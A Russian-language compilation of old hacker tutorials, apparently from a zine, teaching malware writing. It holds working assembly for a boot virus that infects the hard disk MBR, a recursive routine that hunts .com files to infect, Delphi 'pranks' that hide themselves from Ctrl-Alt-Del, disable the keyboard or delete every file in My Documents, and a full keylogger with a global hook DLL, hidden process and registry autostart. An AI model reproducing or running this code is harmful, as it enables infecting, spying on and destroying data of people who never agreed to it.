не обязательно должна быть загрузочной. В этом состоит особенность BOOT - вирусов. Итак , чтобы вирус начал
распространяться, достаточно заразить им гибкий диск, а потом попытаться загрузиться с него на той или иной машине.

1.9 Начало работы
Обычно для создания вирусов используют COM - формат. Поэтому :

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h

1.10 Вирус получает управление
Как вы уже знаете, загрузочный вирус получает управление только при загрузке операционной системы. Далее он должен "
отрезать " у DOS несколько килобайтов памяти и переписать свой код в полученную область. Для выполнения этих функций
можно предложить такой фрагмент :

my_prg: jmp installer ;Переход на сек-
;цию инсталляции
dw 7bfeh ;Установка соб-
;ственного стека
;
push cs ;DS = CS
pop ds ;
;
sub word ptr ds:[0413h],2 ;"Отрежем" у DOS
mov ax,ds:[0413h] ;два килобайта
mov cl,6 ;памяти и вычис-
;лим
sal ax,cl ;сегментный ад-
;рес,по которому
;находится полу-
;ченный блок
mov es,ax ;Поместим адрес
;в ES
xor si,si ;И скопируем код
mov cx,prg_lenght ;вируса длиной
prg_copy: db 8ah ;"prg_lenght" в
db 9ch ;память по адре-
additor db 00h ;су ES : 0000h
db 7ch ;Сам код при за-
mov byte ptr es:[si],bl;грузке помещае-
inc si ;тся BIOS по ад-
loop cs:prg_copy ;ресу 0000:7C00h
;
push ax ;Запишем в стек
mov ax,to_read_boot ;адрес ES:to_re-
push ax ;ad_boot и осу-
db 0cbh ;ществим переход
;на этот адрес

Поскольку операционная система к моменту начала выполнения этого фрагмента еще не загружена, "увести" у вычислительной
системы два килобайта памяти не представляет никакого труда. Для этого просто следует уменьшить на два число,
расположенное в области данных BIOS по адресу :0000:0413h. Загрузившись,операционная система не будет замечать
занятую вирусом память. Даже такие программы, как RELEASE или Volkov Commander (нажмите ALT + F5) не помогут обнаружить,
где именно "притаился" вирус.

Машинный код
db 8ah ;
db 9ch ;
additor db 00h ;
db 7ch ;

является кодом команды " mov bl,byte ptr [si + 7C00h] " и модифицируется в зависимости от того, что именно удалось
заразить вирусу - если загрузка происходит с винчестера, то код будет иметь вид :

db 8ah ;
db 9ch ;
additor db 00h ;
db 7ch ;

а если с дискеты :
db 8ah ;
db 9ch ;
additor db 55h ;
db 7ch ;

Дело в том, что в MBR жесткого диска тело вируса располагается по смещению 0000h от начала сектора, а в BOOT -
записи дискеты это же смещение равно 0055h ( см. п. 1.15 ). При заражении того или иного диска вирус определяет
необходимое значение поля " additor", которое потом будет записано в загрузочный сектор.Команда " ret far " для
краткости записана в виде машинного кода 0CBh.

1.11 Перехватываем Int 16h
Согласно описанному выше алгоритму, настало время перехватить прерывание Int 16h. Наш вирус будет использовать его
для наблюдения за состоянием вирусного обработчика Int 21h и перехвата этого прерывания:

to_read_boot equ $ - my_prg ;
;
read_boot: push cs ;DS = CS
pop ds ;
;
xor si,si ;SI = 0
mov es,si ;ES = SI
;
;*************************************************
mov bx,word ptr es:[58h] ;Получим вектор
mov word ptr old_16h - 100h,bx ;Int 16h и
mov bx,word ptr es:[5ah] ;сохраним
mov word ptr old_16h_2 - 100h,bx ;его
;
mov word ptr es:[58h],to_new_16h ;Установим
mov word ptr es:[5ah],cs ;вектор Int 16h
;на вирусный об-
;работчик

Прерывание здесь перехватывается путем непосредственной модификации вектора в таблице векторов прерываний. Константа
 "to_read_boot" задает смещение от начала вирусного кода до метки "read_boot",с которой и начинается код, выполняющий
 переопределение вектора Int 16h на вирусный обработчик. Дополнительных пояснений работа фрагмента не требует.

1.12 Читаем исходную BOOT - запись
Сначала договоримся, где наш вирус будет хранить настоящую загрузочную запись (BOOT - для дискет или MBR - для жестких
дисков). Обычно на нулевой дорожке нулевой стороны винчестера используется только самый первый сектор, а остальные
свободны. Поэтому было бы естественно сохранить MBR в одном из секторов нулевой дорожки. Нас заинтересовал сектор с
 номером 12,но можно было бы взять и любой другой. Только не следует выбирать сектора с очень большими номерами.
Может случиться так, что, например, сектора с номером 63 на диске просто не существует. Оптимальный номер - не выше
двадцати. Для дискет оригинальную BOOT - запись проще всего записывать в последний сектор последней дорожки на
первой стороне. Для того, чтобы с зараженного диска можно было загрузиться, вирус должен считать исходную загрузочную
 запись в память по адресу : 0000:7C00h и после выполнения необходимых действий передать ей управление :

mov dx,num_head - 100h ;Считаем настоя-
mov cx,cyl_sect - 100h ;щий загрузочный
mov bx,7c00h ;сектор в память
mov ax,0201h ;по адресу
int 13h ;0000:7C00h

В приведенном фрагменте задействованы ячейки памяти :

num_head dw 0 ;Здесь вирус
cyl_sect dw 0 ;хранит номер
;головки,дорожки
;и сектора зара-
;женного диска ,
;в которых запи-
;сана настоящая
;загрузочная
;запись .

Несколько позже мы разберемся, как определяются помещаемые в них значения.

1.13 Заражаем MBR винчестера
Следуя алгоритму, настало время проверить, заражена - ли MBR первого жесткого диска, и если нет - заразить ее. Поэтому
приступим к делу :

push cs ;ES = CS
pop es ;
;
mov dl,80h ;Считаем MBR
call cs:read_mbr ;винчестера
jc cs:to_quit ;по адресу
;CS:0400h, при-
;чем загрузка
;сейчас может
;производиться
;и с дискеты !
cmp byte ptr ds:[400h],0eh ;MBR уже зара-
je cs:to_quit ;жена ? Да - на
;выход, иначе -
;продолжим :
mov dx,0080h ;Нулевая головка
;первого жестко-
;го диска
mov cx,000ch ;Сектор 12,
;дорожка 0.
;Сохраним эти
;параметры .
call cs:write_mbr_last ;Кроме того,
;перепишем нас-
;тоящую MBR в
;сектор 12
jc cs:to_quit ;нулевой дорожки
;на нулевой сто-
;роне HDD 1.
xor si,si ;Сформируем код
mov additor - 100h,00h ;для записи его
mov cx,prg_lenght ;
copy_vir_mbr: ;на место исход-
mov al,byte ptr ds:[si];ной MBR
mov byte ptr ds:[si + 400h],al ;
inc si ;
loop cs:copy_vir_mbr ;
;
mov dx,0080h ;Запишем этот
call cs:write_mbr ;код в первый
;сектор нулевой
;дорожки нулевой
;стороны винчес-
;тера
;
to_quit: db 0eah ;Отдадим упра-
dw 7c00h ;вление настоя-
dw 0000h ;щей загрузочной
;записи ( MBR )

Как видите, вирус достаточно свободно " чувствует " себя в памяти. Свой код он записывает в младшие 512 байт первого
"отрезанного" у DOS килобайта, а MBR винчестера считывает в младшие 512 байт второго килобайта. Так сделано для
большей понятности программы и облегчения программирования, но один килобайт памяти фактически тратится впустую
(что с некоторой натяжкой можно отнести к вредным действиям нашего вируса). Процедура " read_mbr " читает сектор
1 дорожки 0 на нулевой стороне указанного диска. Процедура "write_mbr" записывает данные из буфера по адресу :
 CS:0400h в сектор 1 дорожки 0 на нулевой стороне указанного диска. Процедура " write_mbr_last " записывает
данные из буфера по адресу : CS:0400h в заданный сектор того или иного диска и заполняет ячейки памяти :

num_head
и cyl_sect.

Для проверки зараженности MBR вирус сравнивает ее первый байт с первым байтом своего кода - числом 0Eh.Далее, в поле
" additor " заносится число 00h,необходимое для корректной загрузки с винчестера. Стоит отметить, что заражение MBR
происходит исключительно при загрузке с зараженной дискеты. Когда операционная система будет загружена, вирус будет
инфицировать только гибкие диски при смене текущего диска на " A " или " B ".

1.14 Пишем обработчик прерывания Int 16h
Вообще - то, мы его уже написали. Так что загляните в пункт 1.6.

1.15 Пишем обработчик прерывания Int 21h
Приблизительный текст процедуры обработки Int 21h уже приводился выше.

К заголовку




" Западло на Delphi #3
Куда подевался экран?
Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас
 ткни на Project -- View Source. Теперь сотри там всё и пиши:

program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
begin
end.

Ну что же, каркас готов, теперь будем писать основной код:

program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
begin
desk:=TCanvas.Create; { инициализируем переменную }
desk.handle:=GetDC(0); { получаем заголовок десктопа }
while true do
begin
Yield;
desk.Pixels[Random(1024), Random(768)]:=0; { точка на экране становится черной }

end;
end.

Прога почти готова, жми на F9 и наслаждайся! Теперь осталось сделать что бы прогу нашу через CTRL-ALT-DEL не видно было:

program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(GetCurrentProcessID, 1);
desk:=TCanvas.Create; { инициализируем переменную }
desk.handle:=GetDC(0); { получаем заголовок десктопа }
while true do
begin
Yield;
desk.Pixels[Random(1024), Random(768)]:=0; { точка на экране становится черной }
end;
end.

Всё! Нашу заподлянку не снять через "три весёлых клавиши"!. Жми теперь CTRL-F9 и вперёд!

Отключение клавиатуры
Для начала запусти Дельфи, выбери в меню Project--> View Source и набери вот это:

program antiklava;
uses Windows;
begin
end.


Так, основа готова. Теперь надо добавить ядро программы и объявления переменных:

program antiklava;
uses Windows; { подключение необходимых модулей }
var
klava:boolean; { объявление логической переменной}
begin
klava:=true; { устанавливаем значение переменной }
while true do { начинаем бесконечный цикл }
begin
Yield; { делаем так, чтобы всё не подвисло :)}
Sleep(2*60*1000); { ничего не делаем 2 минуты }
klava:=not klava; { присваиваем переменной противоположное значение }
EnableHardwareInput(klava); { и в зависимости от переменной, отключаем или включаем клаву с мышкой}
end;
end.

Ну вот, всё что нам осталось - CTRL-F9.

ВЫрубить монитор
Давайте прикольнёмся над пользователем. Допустим выведем внезапно сообщение, типа... "Уже поздно. Будь послушным
мальчиком. Туши свет и вали спать!" и... вырубим монитор...(включить его чудилка уже не сможет)...
procedure TForm1.Button3Click(Sender: TObject);
begin
if MessageDlg('Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!', mtInformatoion, [mbOk], 0)=mrOk then
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER,0);
end;

Для того, чтобы программно включить монитор можете использовать следующий код:

procedure TForm1.Button3Click(Sender: TObject);
begin
if MessageDlg('Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!', mtInformatoion, [mbOk], 0)=mrOk then
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER, -1);
end;

Отключить кнопку закрытия Х чужого окна
Для примера, запустите "Блокнот" и попробуем его кнопку закрытия окна сделать неактивной, кроме того пункт "закрыть"
в системном меню тоже будет отключён! ;-]

procedure TForm1.Button1Click (Sender: TObject);
var
hwndHandle : THANDLE;
hMenuHandle : HMENU;
begin
hwndHandle := FindWindow(nil, 'Untitled - Notepad');
if (hwndHandle <> 0) then begin
hMenuHandle := GetSystemMenu(hwndHandle, FALSE);
if (hMenuHandle <> 0) then
DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);
end;
end;

P.S.
Вместо "Untitled - Notepad", нужно подставить заголовок того окна, которому вы хотите послать сообщение.

ОЧИСТИТЬ "МОИ ДОКУМЕНТЫ"
Мы изучим самый легкий способ: удаление всех файлов из папки "Мои документы" без учёта вложенных файлов. Для этого
вынесем компонент класса ТFileListBox - это список файлов (находится на закладке Win3.1 палитры компонентов). Затем,
с той же закладки, выносим компонент класса TDirectoryListBox - это список каталогов. Задаём ему свойство FileList,
 указывающее на список файлов (на компонент FileListBox1). Далее можно по созданию окна или по таймеру (если ваша
программа многоразового использования) пишем такой код:

procedure TForm1.Timer1Timer(Sender: TObject);
var
i:Integer;
begin
DirectoryListBox1.Directory:='c:\мои документы';
for i:=0 to FileListBox1.Items.count-1 do begin
DeleteFile('C:\мои документы\'+FileListBox1.Items[i]);
end;
end;

СКРЫТЬ TRAY, ЧАСЫ, КНОПКУ 'ПУСК', ПАНЕЛЬ ЗАДАЧ
Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас
 ткни на Project -- View Source. Теперь сотри там всё и пиши:

program proga2;
uses Windows;
var
Wnd:THandle; { объявляем переменные }
int:integer;
begin
Randomize; { холостой прогон генератора случайных чисел }
int:=(Random(3)); { выбор одного варианта из четырёх }
case int of
0: { если первый вариант то }
begin
Wnd := FindWindow('Progman', nil); { прячем трей }
Wnd := FindWindowEx(Wnd, HWND(0),'ShellDll_DefView', nil);
ShowWindow(Wnd, SW_HIde);
end;
1: { если второй вариант то }
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayClockWClass', nil);
{ прячем часы }
ShowWindow(Wnd, SW_HIde);
end;
2:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'Button', nil);
{прячем кнопку "Пуск"}
ShowWindow(Wnd, SW_HIde);
end;
3:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
{ прячем "Панель задач" }
ShowWindow(Wnd, SW_HIDe);
end;
end;
end.

По желанию можно вставить защиту от CTRL-ALT-DEL.


К заголовку




" Исходник виря-убийцы
Ни для кого не секpет, что неpезидентные виpусы, котоpые пишут начинающие виpмейкеpы, как пpавило обладают очень
низкой скоpостью pазмножения. В лучшем случае они используют метод известный как "dot-dot", то есть поиск жеpтв в
вышестоящих диpектоpиях или ищут жеpтвы в диpектоpиях указанных в PATH. Оба этих метода несмотpя на свою пpостоту
(а может быть как pаз благодаpя ей) очень огpаничивают pаспpостpанение виpуса. Заpазить намного больше файлов можно
дpугим довольно-таки несложным методом, то есть последовательным сканиpованием всех диpетоpий текущего диска на
пpедмет возможных жеpтв. Hиже я пpивожу фpагмент иллюстpиpующий данный, ставший уже стандаpтным, метод:


mov ah,47h ;Получили в пеpеменную path
xor dx,dx ;полный путь до файла из котоpого
lea si,[path] ;стpатовал виpус, это нужно для того
;чтобы
int 21h ;после поиска текущей диpектоpией у вас
;осталась та, из котоpой стаpтовал виpус

mov ah,3bh
lea dx,[root] ;Вышли в коpень, оттуда удобнее начинать
int 21h ;поиск.

call Disk_Scan ;Вызвали пpоцедуpу поиска.

mov ah,3bh
lea dx,[path] ;Установили текущей диpектоpию из
int 21h ;котоpой пpоизошел запуск виpуса


Disk_Scan proc near

push bp ;Сохpанили BP в стэк
mov bp,sp ;BP указывает на веpшину стэка.
sub sp,44 ;Выpезали в стэке дыpку в 44 байта,
;она нам нужна как буфеp под DTA

call infect_directory ;Вызов пpоцедуpы поиска файлов в
;диpектоpии

mov ah,1Ah ;Установили DTA на выpезанную
lea dx,word ptr [bp-44] ;нами в стеке дыpку
int 21h ;

mov ah, 4Eh ;Поиск пеpвой диpектоpии
mov cx,16 ;по маске *.*
lea dx,[dir_mask]
int 21h
jmp short ok
;Здесь есть один интеpесный момент: несмотpя на то, что атpибутом для
;поиска мы указали 16 только диpектоpии), дос сначала найдет '.' и '..', ну
;это еще ладно все же диpектоpии, а потом будет находить файлы
;соответствующие маске *.* - это уж совсем ни в какие воpота не лезет!=)
;поэтому пpидется делать несколько пpовеpок для того чтобы узнать, что мы в
;действительности нашли.

Check:
cmp byte ptr [bp-14], '.' ;Если точка, то искать следующую
je short next_dir ;диpектоpию на этом же уpовне
;вложенности.
lea dx,word ptr [bp-14] ;Смещение указывающее на имя
;найденной диpектоpии помещаем в DX
;Кстати [bp-14]=dta+1eh

mov ah,3Bh ;Вошли в эту диpектоpию.
int 21h ;То есть опустились на один уpовень
;вложенности вниз

jc short next_dir ;Если ошибка то искать следующую на
;этом же уpовне вложенности

call near ptr Disk_Scan ;Рекуpсия однако:)

next_dir:
lea dx,word ptr [bp-44] ;Установить DTA на новое место в
mov ah,1Ah ;в стеке
int 21h

mov ah,4Fh ;Искать следующую диpектоpию
int 21h
ok:
jnc Check ;Если нет ошибок начать пpовеpки
lea dx, [back_dir] ;
mov ah,3Bh ;Подняться на один уpовень вложенности
int 21h ;

mov sp,bp ;Восстановить пеpвоначальную веpшину
pop bp ;стэка, восстановить BP,
ret ;выйти из подпpогpаммы.
Disk_Scan endp

Для тех кто не понял по исходнику, попытаюсь объяснить агоpитм pаботы
данной пpоцедуpы:

1. Установили DTA.
2. Hашли пеpвую диpектоpию.
3. Вошли в найденную диpектоpию.
(То есть опустились на один уpовень вложенности вниз).
4. Установили DTA на дpугю область в стеке.
(в нашем случае, находящуюся сpазу за пpедыдущей областью с DTA)
5. п.2, 3 пока не дойдем до последнего уpовня вложенности.
6. Поставили DTA на пpедыдущую область в стеке.
7. Подняться на один уpовень вложенности ввеpх.
8. Hайти следующую диpектоpию на этом увpоне вложенности.
9. Далее п.3.
Пpимеp:
c:\
|
NAME1-----NAME2 - Для этого уpовня вложеннности DTA указывает на
| некотоpую область стэка, назовем ее DTA1.
NAME11---NAME12 - Для этого уpовня на DTA2
|
| - Для этого уpовня DTA3

То есть стэк содеpжит в себе последовательность DTA для каждого из
уpовней вложенности; в стеке DTA1, DTA2, DTA3. Для чего это нужно? А для того
чтобы, когда мы будем возвpащаться ввеpх по деpеву, мы не зациклились, а
нашли следующую диpектоpию на пеpдыдущем уpовне вложенности. Hапpимеp, мы
начали наш поиск из коpня и нашли функцией 4eh пеpвую диpектоpию, допустим
NAME1, после этого DTA1 содеpжит в себе имя этой диpектоpии. Затем мы
опустились на один уpовень вложенности вниз (то есть вошли в NAME1),
уставноили DTA на новую область в стэке DTA2, снова начали поиск функцией 4eh
и нашли диpектоpию NAME11 (DTA2 содеpжит NAME11). Опустились еще на один
уpовень вложенности вниз, установили DTA на DTA3, не нашли больше диpектоpий,
и поднялись на один уpовень вложенности ввеpх, установив пpи этом DTA на
DTA2(котоpое содеpжит NAME11), затем функцией 4fh нашли следующую диpектоpию
NAME12, котоpая в свою очеpедь оказалась в DTA2 и т.д. пока не побываем в
каждой диpектоpии на диске. Hетpудно догадаться что если бы мы оставили DTA
постоянным, то пpи опускании на каждый новый уpовень вложенности вниз, мы
пpосто бы затиpали стаpое DTA, котоpое содеpжит имя пеpвой найденной
диpектоpии на пpедыдущем уpовне вложенности, то есть зациклили бы поиск.
Естественно, все вышеизложенное можно делать и не чеpез стэк, а пpосто
выделив нектоpую область памяти, и пpоделывая там каждый pаз тоже самое, что
мы с вами пpоделывали со стэком. Hо во-пеpвых, это сильно увеличивает pазмеp
вашего виpуса, во-втоpых, накладывает некотоpые огpаничения на глубину
поиска по диpектоpиям, а ,в тpетьих, на мой взгляд, способ со стэком более
пpост и унивеpсален.
А тепеpь, собственно, пpоцедуpа поиска файлов в диpектоpии:

Infect_Directory proc near

push bp ;Сохpанили BP в стэк

mov ah,2fh ;Получили в BX адpесс текущего DTA
int 21h ;
push bx ;Сохpанили его в BX

mov bp,sp ;В BP веpшина стэка
sub sp,44 ;выpезали в стэке дыpку в 44 байта,
;буфеp под DTA

mov ah,1ah ;
lea dx,[bp-44] ;Установили DTA на этот буфеp
int 21h ;

mov ah,4eh ;
mov cx,00100011b ;Hашли пеpвый файл по маске *.com
lea dx,[file_mask] ;

Find_Next:
int 21h
jc exit ;Если ошибка, на выход
Call Infect_All ;Вызвать пpоцедуpу заpажения файла.
mov ah,4fh ;Hайти следующий файл
jmp Find_Next ;

Exit:
mov sp,bp ;Восстановили веpшину стэка, то есть
;убpали буфеp указывающий на DTA
pop bx ;Восстановили адpесс начального DTA

pop bp ;Восстановили BP
mov ah,1ah ;Установили начальный DTA
mov dx,bx ;
int 21h ;
ret ;Выход из подпpогpаммы.
Infect_Directory endp

path db 64 dup(?),0
back_dir db '..',0
dir_mask db '*.*',0
file_mask db '*.com',0
root db '\',0



К заголовку




" Клавиатурный шпион своими руками
Написать клавиатурный шпион. Все не так сложно как кажется, хотя и есть некоторые грабли. Существует, как минимум,
два пути решения этой задачи :

1) in al, 60h - получение данных из порта клавиатуры. После выполнения в al будет находиться код последней нажатой
 клавиши. Если меньше 127, то нажата, если больше 127 - отжата. Теперь можно описать процесс постоянного вызова
 получения значения из порта и обработку этого значения. Для того, чтобы не сильно загружать систему, необходимо
вставить "Sleep, n". Недостатки этого метода: в таком виде не будет работать под WinNT и, в зависимости от величины
"n", будет или сильно загружать систему, или не успевать отлавливать нажатия некоторых клавиш.

2) SetWindowsHookEx - установка hook-а на нажатие клавиш. Синтаксис этой функции такой:
HHOOK SetWindowsHookEx(
int idHook, // тип hook-а
HOOKPROC lpfn, // адрес процедуры обработки
HINSTANCE hMod, // handle приложения
DWORD dwThreadId // идентификатор thread-а для обработки
Проблема вот в чем: для установки hook-а для всех процессов в системе, процедура обработки должна находиться в
дополнительной DLL. Проблема решаема - весь текст дополнительной библиотеки объявляем как строки в основной программе
и при запуске приложения записываем эту строки в файл - дополнительную DLL. Для реализации этого способа берем MASM
v.4 - размер дополнительной DLL и исполняемого файла будет относительно невелик. Можно писать на любом асме, С или
Delphi - используются функций WinAPI и перенос на другой язык не займет много времени. Функция SetWindowsHookEx
имеет одну особенность - (сейчас выражусь не совсем правильно, зато более-менее понятно) она грузит новый экземпляр
дополнительной DLL на каждое активное приложение. Если мы в библиотеке зарезервировали строку, при нажатии клавиши
добавляем в нее значение, и активными были пять win-приложений, то в памяти будет находится 5 строк. Для сохранения
в файл полученной информации, нужно "обрабатывать" точку выгрузки нашей DLL. Для дальнейшего чтения этой статьи
необходимо хотя бы минимальное знание ассемблера.

Вот исходники дополнительной DLL ("ks000.asm"):

.386
.model flat, stdcall
option casemap :none
; ====
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
; Объявляем процедуру сохранения в файл
DksKeySave PROTO
; Константы и переменные
.data
Hook2 dd ?
Flash0 db 13,10,0
DopK db 50 dup(?)
LstKey db 50 dup(?)
BufKey db 1500 dup(?) ; строка-буфер
BufKey0 db 1000 dup(?) ; строка-буфер для записи в файл
BufKey1 db 1500 dup(?)
BufKey2 db 1000 dup(?)
BoolKey dd ?
LenKey1 dd ?
LenKey2 dd ?
NilStr db " ",0
DateStr1 db "dd.MM.yyyy",0
DateStr2 db "hh : mm : ss",0
DateStr3 db " ",0
DopStr1 db "Write in file ",0
DopStr2 db "----",0
DopStr3 db " Active: ",0
RegValue2 db "ks000log.txt" ,0
CommandStr3 db 1024 dup (?)
Flash1 db "\",0
cmd1 dd ?
; Раздел кода
.code
LibMain proc hInstDLL:DWORD, reason:DWORD, unused:DWORD
; Загрузка DLL
.IF reason == DLL_PROCESS_ATTACH
; определим путь к log-файлу
invoke GetSystemDirectory , addr CommandStr3, sizeof CommandStr3
invoke rtrim, addr CommandStr3, addr CommandStr3
invoke lstrcat,addr CommandStr3,addr Flash1
;файл для записи - "\ks000log.txt"
invoke lstrcat, addr CommandStr3, addr RegValue2
; обнулим дополнительные переменные
mov LenKey1,0 ; счетчик строки
mov LenKey2,0 ; счетчик периодической выгрузки в файл
mov BoolKey,0 ; топталась ли клава в этом приложении
mov eax, TRUE
ret
; Выгрузка DLL
.ELSEIF reason == DLL_PROCESS_DETACH
; Если клавиши были нажаты - запись в файл
.IF (BoolKey != 0)
invoke lstrcpy, addr BufKey1, addr BufKey
invoke DksKeySave ; моя проца записи в файл
.ENDIF
.ENDIF
ret
LibMain Endp
; ====
; процедура обработки
DksKeyProc proc nCode0: DWORD, wParam0: WPARAM, lParam0: LPARAM
.IF nCode0 == HC_ACTION
mov eax, lParam0
shr eax,16
and eax, KF_UP
.IF (eax == 0) ; если была нажата клавиша и
mov BoolKey,1 ; можно обработать
.IF LenKey2 == 0 ; Если нажата первая клавиша
; Получение заголовка активного приложения, даты и времени
invoke GetForegroundWindow
.IF eax != 0
invoke SendMessage, eax, WM_GETTEXT, 1024, addr BufKey2
.ENDIF
invoke GetDateFormat, NULL, NULL, NULL, addr DateStr1, addr BufKey0, sizeof BufKey0
invoke lstrcpy, addr BufKey, addr BufKey0
invoke lstrcat, addr BufKey, addr DateStr3
invoke GetTimeFormat, NULL, TIME_FORCE24HOURFORMAT, NULL, addr DateStr2, addr BufKey0, sizeof BufKey0
invoke lstrcat, addr BufKey, addr BufKey0
invoke lstrcat, addr BufKey, addr DateStr3
invoke lstrcat, addr BufKey, addr DopStr3
invoke lstrcat, addr BufKey, addr BufKey2
invoke lstrcat, addr BufKey, addr Flash0
invoke lstrlen, addr BufKey
mov LenKey2, eax
.ENDIF
; преобразование в строку
invoke GetKeyNameText, lParam0, addr DopK, sizeof DopK
invoke lstrcpy, addr LstKey, addr DopK
invoke lstrcat, addr BufKey, addr DopK ; Добавление в строку-буфер
invoke lstrcat, addr BufKey, addr DateStr3
invoke lstrlen, addr DopK
add LenKey1, eax ; счетчик строки
add LenKey1, 3
; если больше 100 - перенос строки
.IF LenKey1 >=100
invoke lstrcat, addr BufKey, addr Flash0
mov eax, LenKey1
add LenKey2, eax ; счетчик выгрузки в файл
mov LenKey1,0
.ENDIF
; если больше 1000 - запись в файл
.IF LenKey2 >=1000
invoke lstrcpy, addr BufKey1, addr BufKey
mov LenKey1,0
mov LenKey2,0
invoke DksKeySave ; моя проца записи в файл
.ENDIF
mov eax,0
ret
.ENDIF
.ENDIF
invoke CallNextHookEx, Hook2 ,nCode0, wParam0, lParam0
ret
DksKeyProc endp
; ====
; моя проца записи в файл
DksKeySave proc
; получения времени сброса в файл
invoke lstrcat, addr BufKey1, addr Flash0
invoke lstrcat, addr BufKey1, addr DopStr1
invoke GetDateFormat, NULL, NULL, NULL, addr DateStr1, addr BufKey0, sizeof BufKey0
invoke lstrcat, addr BufKey1, addr BufKey0
invoke lstrcat, addr BufKey1, addr DateStr3
invoke GetTimeFormat, NULL, TIME_FORCE24HOURFORMAT, NULL, addr DateStr2, addr BufKey0, sizeof BufKey0
invoke lstrcat, addr BufKey1, addr BufKey0
invoke lstrcat, addr BufKey1, addr Flash0
invoke lstrcat, addr BufKey1, addr DopStr2
invoke lstrcat, addr BufKey1, addr Flash0
invoke lstrcat, addr BufKey1, addr Flash0
;файл для записи - "\ks000log.txt"
invoke _lopen, addr CommandStr3, OF_WRITE
mov cmd1,eax
.IF eax == 4294967295
;если не удалось открыть - создадим
invoke _lcreat, addr CommandStr3, 4
mov cmd1,eax
.ELSE
;если открыли - перейдем в конец
invoke _llseek, cmd1, 0, FILE_END
.ENDIF
.IF cmd1 != 4294967295
invoke lstrlen, addr BufKey1
invoke _lwrite, cmd1, addr BufKey1, eax ;запись в файл
invoke _lclose, cmd1 ;закрыть файл
.ENDIF
ret
DksKeySave endp
End LibMain


В том же каталоге создадим файл "ks000.def" с текстом:

LIBRARY ks000
EXPORTS DksKeyProc

и файл компиляции нашей DLL "1.bat":

@echo off
if exist ks000.obj del ks000.obj
if exist ks000.dll del ks000.dll
\masm32\bin\ml /c /coff ks000.asm
\masm32\bin\Link /SUBSYSTEM:WINDOWS /DLL /DEF:ks000.def ks000.obj
dir ks000.*
pause

Запускаем "1.bat" и, если все исполнено правильно, то у нас появится файл "ks000.dll" - дополнительная библиотека.
 DLL можно сжать. У меня после сжатия ASpack-ом получилось 8704. Для того, чтобы поместить весь код DLL в главный
 файл, необходимо разбить DLL на строки. Теперь пишем небольшую дополнительную прогу, которая преобразует нашу DLL
в строки с кодами символов, разделенных запятыми. Написание такой программы не составит особого труда. Теперь
необходимо описать саму программу клавиатурного шпиона.
Вот исходники нашей проги ("dks10.asm"):

.486
.model flat,stdcall
option casemap:none
include \masm32\include\winmm.inc
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\winmm.lib
; Процедура обработки оконных сообщений
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
; Раздел констант и переменных
.DATA
DLLstr0 db 77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0
DLLstr1 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
DLLstr2 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 200, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 0
DLLstr3 db 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 0
DLLstr4 db 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0
DLLstr5 db 0, 0, 0, 105, 150, 211, 219, 45, 247, 189, 136, 45, 247, 189, 136, 45, 247, 189, 136, 45, 247, 189, 136, 57, 247, 0

; SKIP
; Здесь находятся остальные строки-константы кода нашей DLL
; SKIP

DLLstr345 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
DLLstr346 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
DLLstr347 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
DLLstr348 db 0, 0, 0, 0, 0
ErrorStr db "Ошибка при вызове DLL.",13,10,0
ErrorStr1 db "Ошибка записи в реестр. Программа не будет стартовать вместе с Windows.",13,10,0
kernel32 db "kernel32.dll", 0
func db "RegisterServiceProcess", 0
AutoKeyName db "Software\Microsoft\Windows\CurrentVersion\Run\",0
AutoRegValue db "systemks",0
